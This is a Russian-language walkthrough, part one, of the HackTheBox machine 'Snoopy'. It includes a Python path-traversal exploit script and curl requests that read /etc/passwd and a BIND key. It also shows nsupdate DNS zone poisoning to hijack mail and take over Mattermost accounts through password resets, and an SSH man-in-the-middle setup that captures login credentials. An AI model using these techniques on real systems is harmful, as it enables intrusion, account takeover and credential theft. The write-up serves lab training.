[HaHacking] HTB: Snoopy (Hard) — Pt. 1
HaHacking
📊 О МАШИНЕ
- Операционная система: Linux (🐧)
- Сложность: Сложная (🔴)
- Теги:
[Path Traversal] [DNS] [sudo] [Git] [CVE] [Arbitrary File Write] [ClamAV] [Arbitrary File Read] [XXE]

📝 СБОР ИНФОРМАЦИИ
Cервисы
Сбор данных об открытых портах, запущенных сервисах и (по возможности) дополнительное изучение сервисов с помощью скрипта nmapAutomator (к слову, он прекрасно подходит для использования на экзамене OSCP!):
nmapAutomator.sh -t Full -H 10.10.11.212
Поддомены
Домен, ассоциированный с веб-сервисом, запущенным на машине, соответствует шаблону, которого придерживаются авторы машин, и состоит из названия машины и домена верхнего уровня – "htb": snoopy.htb
Обратный просмотр DNS не обернулся успехом, однако доменное имя также можно обнаружить в качестве ссылки в документе, который размещён на главной странице сайта, доступного по ссылке http://10.10.11.212/, и который будет рассмотрен ниже среди содержимого основного сайта.
📌 Энумерация DNS: book.hacktricks.xyz/.../pentesting-dns#enumeration ;
📌 Запрос AXFR: book.hacktricks.xyz/.../pentesting-dns#zone-transfer ;
Сбор информации о домене snoopy.htb через запрос на полную передачу зоны (AXFR) с помощью утилиты dig:
dig AXFR @10.10.11.212 snoopy.htb
- Внешне содержание сайтов snoopy.htb, www.snoopy.htb, provisions.snoopy.htb, postgres.snoopy.htb совпадает.

- Внешне содержание сайтов mattermost.snoopy.htb и mm.snoopy.htb совпадает.

Содержимое основного сайта
1) Перебор путей сайта snoopy.htb с помощью утилиты ffuf и словаря common.txt из набора словарей SecLists:
ffuf -w /usr/share/seclists/Discovery/Web-Content/common.txt -u http://snoopy.htb/FUZZ -t 1 -c -ac -r
- Флаг
-tчисло= Число параллельных потоков - Флаг
-c= Отображение цвета в зависимости от HTTP кода ответа - Флаг
-ac= Автоматическая калибровка настроек - Флаг
-r= Следовать за перенаправлением
2) Страницы с информацией о команде могут быть полезны для сбора социальных сетей, контактных данных сотрудников и определения шаблона именования сотрудников внутри компании.
Так, например, на странице snoopy.htb/team.html раскрываются адреса электронных почт некоторых сотрудников: cschultz@snoopy.htb, sbrown@snoopy.htb, hangel@snoopy.htb, lpelt@snoopy.htb

3) Страница snoopy.htb/contact.html содержит адрес электронной почты info@snoopy.htb и форму для связи с компанией, но в то же время предупреждает о невозможности доставки писем на почты сервиса mail.snoopy.htb в связи с миграцией DNS записей на новый домен:

4) На главной странице сайта snoopy.htb предлагается скачать пресс-релиз по ссылке snoopy.htb/download или объявление по ссылке snoopy.htb/download?file=announcement.pdf:

Оба варианта возвращают архив press_release.zip, который в зависимости от выбранной гиперссылки будет содержать либо пресс-релиз (файлы announcement.pdf и snoopysec_marketing.mp4), либо объявление (файл announcement.pdf внутри папки press_package).

Из документа announcement.pdf можно узнать о роде деятельности компании (DevSecOps tooling), используемом доменном имени (www.snoopy.htb) и получить ещё один адрес электронной почты (pr@snoopy.htb):

Из видеофайла snoopysec_marketing.mp4 также можно узнать о роде деятельности компании и используемом домене (snoopy.htb):

Можно заметить, что оба файла имеют отношение к сотруднику Sally Brown (sbrown@snoopy.htb).
// Процесс более детального изучения предоставленных файлов (метаданные, человекочитаемые строки, потенциально хранящиеся внутри файлы, ...) оказался неплодотворным.
🔒 ЭКСПЛУАТАЦИЯ: cbrown
Relative Path Traversal
📌 PortSwigger про Path Traversal: portswigger.net/.../file-path-traversal
📌 OWASP про Path Traversal: owasp.org/.../Path_Traversal
Обращая внимание на конечную точку snoopy.htb/download, поскольку имя скачиваемого пользователем файла передаётся в параметре запроса "file", как в случае snoopy.htb/download?file=announcement.pdf, стоит обратить внимание на указанный параметр.

Запрашиваемый файл архивируется. Его содержимое не отображается в контексте страницы и он не исполняется сервером. Таким образом, первоочерёдно имеет смысл тестировать параметр "file" на уязвимость к Path Traversal, которая приводила бы к извлечению пользователем файлов, находящихся вне предполагаемых рамок.
Запрос с указанием абсолютного пути к желаемому файлу (/etc/passwd) в качестве значения параметра запроса "file" возвращает пустой ответ:
curl -o press_release.zip 'http://snoopy.htb/download?file=/etc/passwd'
Запрос с указанием относительного пути к желаемому файлу (../../../../../../etc/passwd) в качестве значения параметра запроса "file" также возвращает пустой ответ:
curl -o press_release.zip 'http://snoopy.htb/download?file=../../../../../../etc/passwd'
Оба запроса не привели к извлечению файла /etc/passwd – это может означать обработку значения параметра на стороне сервера во избежание эксплуатации уязвимости.
📌 Варианты полезной нагрузки для Path Traversal: github.com/swisskyrepo/PayloadsAllTheThings/.../Directory Traversal
Одним из вариантов обработки может быть фильтрация конструкции "../", тогда уязвимость к Path Traversal зависит от качества этой фильтрации. Если фильтрация производится единоразово, то становится возможным внедрение конструкции "../" внутрь другой такой же конструкции, то есть использование, например, "..././" или "....//" для образования необходимой конструкции "../" уже в результате фильтрации, так как фильтрация произведёт вычленение той "../", которая в перечисленных случаях разделяет подстроки, которые впоследствии совместившись образуют "../".
Использование конструкции "..././" вместо "../" действительно позволяет обойти реализованный механизм защиты и извлечь произвольный файл:
curl -o press_release.zip 'http://snoopy.htb/download?file=..././..././..././..././..././etc/passwd'
Я написала следующий скрипт на языке Python для интерактивного взаимодействия с конечной точкой:

from requests import get
from zipfile import ZipFile
from io import BytesIO
def exploit(filepath):
url = "http://snoopy.htb/download"
path = f"{'....//' * 5}{filepath}"
params = {"file": path}
res = get(url, params=params)
if len(res.content) > 0:
zip = ZipFile(BytesIO(res.content))
zip.extractall("/tmp/snoopy")
print("[+] File contents: ")
try:
with open(f"/tmp/snoopy/press_package{filepath}", 'r') as f:
print(f.read())
except:
with open(f"/tmp/snoopy/press_package{filepath}", 'rb') as f:
print(f.read())
else:
print("[-] Empty response!\n")
def main():
print("Snoopy HTB: Path Traversal - /download?file=FILE")
print("Please, enter an absolute path to the file.\n")
while True:
try:
filepath = input("[*] Filepath: ")
exploit(filepath)
except KeyboardInterrupt:
break
print("\n\nBye!")
if __name__ == "__main__":
main()
При каждом вводе пользователем абсолютного пути к желаемому файлу, скрипт запрашивает указанный файл у snoopy.htb/download. При непустом ответе – пробует разархивировать полученный архив и вывести содержимое хранящегося внутри него файла пользователю:

Возвращаясь к ранее запрашиваемому /etc/passwd, его содержимое, помимо прочего, указывает на наличие пользователей cbrown, sbrown, clamav, lpelt, cschultz, vgray:

📌 Конфигурационные файлы DNS: book.hacktricks.xyz/.../pentesting-dns#config-files
Вспоминая про миграцию DNS записей на новый домен, а в связи с тем – выключение почтового сервиса, может быть полезным просмотреть содержимое конфигурационных файлов DNS для последующего потенциального захвата контроля над mail.snoopy.htb и использования этого контроля для входа в Mattermost (mm.snoopy.htb) в качестве одного из сотрудников компании.
Список таких конфигурационных файлов:
/etc/resolv.conf/etc/bind/named.conf/etc/bind/named.conf.local/etc/bind/named.conf.options/etc/bind/named.conf.log
Один из перечисленных файлов, /etc/bind/named.conf, содержит в себе секрет:

DNS Zone Poisoning
📌 Про секрет: exploit-notes.hdks.org/.../dns-pentesting/#update-dns-zone
📌 Получение чужой почты: exploit-notes.hdks.org/.../receive-email-as-another-address
Этот секрет можно использовать с nsupdate для указания серверу имён зоны DNS обновить свою базу данных, что, в свою очередь, можно использовать для связки своего IP адреса с доменным именем mail.snoopy.htb:
nsupdate -d -y hmac-sha256:rndc-key:**************> server snoopy.htb> update add mail.snoopy.htb 86400 IN A 10.10.***.***> send
Для получения почты необходимо запустить SMTP сервер. Это можно сделать, например, с помощью модуля smtpd для Python:
python2 -m smtpd -d -n <IP>:25
- Флаг
-d= Режим отладки для подробного вывода - Флаг
-n= Не выставлять "nobody" в качестве uid - В качестве аргумента также необходимо указать свой IP адрес.
Теперь в Mattermost можно произвести сброс пароля любого из сотрудников, с аккаунтом которого связана электронная почта, ассоциированная с доменом snoopy.htb, поскольку письмо с ссылкой для сброса пароля придёт на подконтрольный атакующему SMTP сервер.
С учётом частого упоминания пользователя sbrown, сбросила её пароль:




Пользователь sbrown cостоит в двух каналах: "Off-Topic" и "Town Square".
Из сообщений на канале "Town Square" становится известным факт наличия ещё одного канала, созданного пользователем cbrown. Его предназначение заключается в подаче запросов на выделение серверов:

Для получения доступа к новому каналу нужно получить доступ к аккаунту пользователя cbrown – повторить процедуру сброса пароля:

Действительно, пользователь cbrown состоит в канале "Server Provisioning", в котором также находится пользователь admin, чей аккаунт ассоциирован с почтой admin@local.htb:

Канал не содержит сообщений, но предлагает для использования команду /server_provision:

Вызов команды /server_provision приводит к открытию всплывающего окна с формой для подачи запросов на выделение серверов:

Секция "Operating System" содержит опции для Windows и Linux и для каждой опции указывает TCP порт:

Если отправить форму, указав в качестве IP адреса сервера свой IP адрес и установив на прослушивание указанный в форме TCP порт 2222 через утилиту netcat, то от 10.10.11.212 поступит подключение и информация об используемом SSH клиенте:
nc -nvlp 2222
Man-in-the-Middle атака на SSH
📌 Про SSH MitM: book.hacktricks.xyz/.../pentesting-ssh#ssh-mitm
Машина атакующего и целевая машина находятся в одной локальной сети. В случае если целевая сторона производит попытку SSH подключения, то с помощью инструмента ssh-mitm возможен перехват используемого логина и пароля.
📌 Про проброс портов: book.hacktricks.xyz/.../tunneling-and-port-forwarding
Исходя из документации к ssh-mitm, на прослушивание настраивается порт 10022. Раз внешняя попытка подключения происходит исключительно через 2222 порт – необходимо пробросить порты, чтобы данные, посылаемые 2222 порту, дублировались 10022 порту, который прослушивается ssh-mitm.
Это можно сделать, например, с помощью утилиты socat:
socat TCP4-LISTEN:2222,fork TCP4:127.0.0.1:10022После этого необходимо запустить ssh-mitm и отправить форму-запрос на подключение сервера через Mattermost.
ssh-mitm server --remote-host snoopy.htb
С использованием перехваченных логина и пароля становится возможной аутентификация по SSH в качестве пользователя cbrown на целевой машине:
ssh cbrown@snoopy.htb
Тем не менее, у пользователя cbrown нет флага и нет доступа к просмотру домашних директорий других пользователей.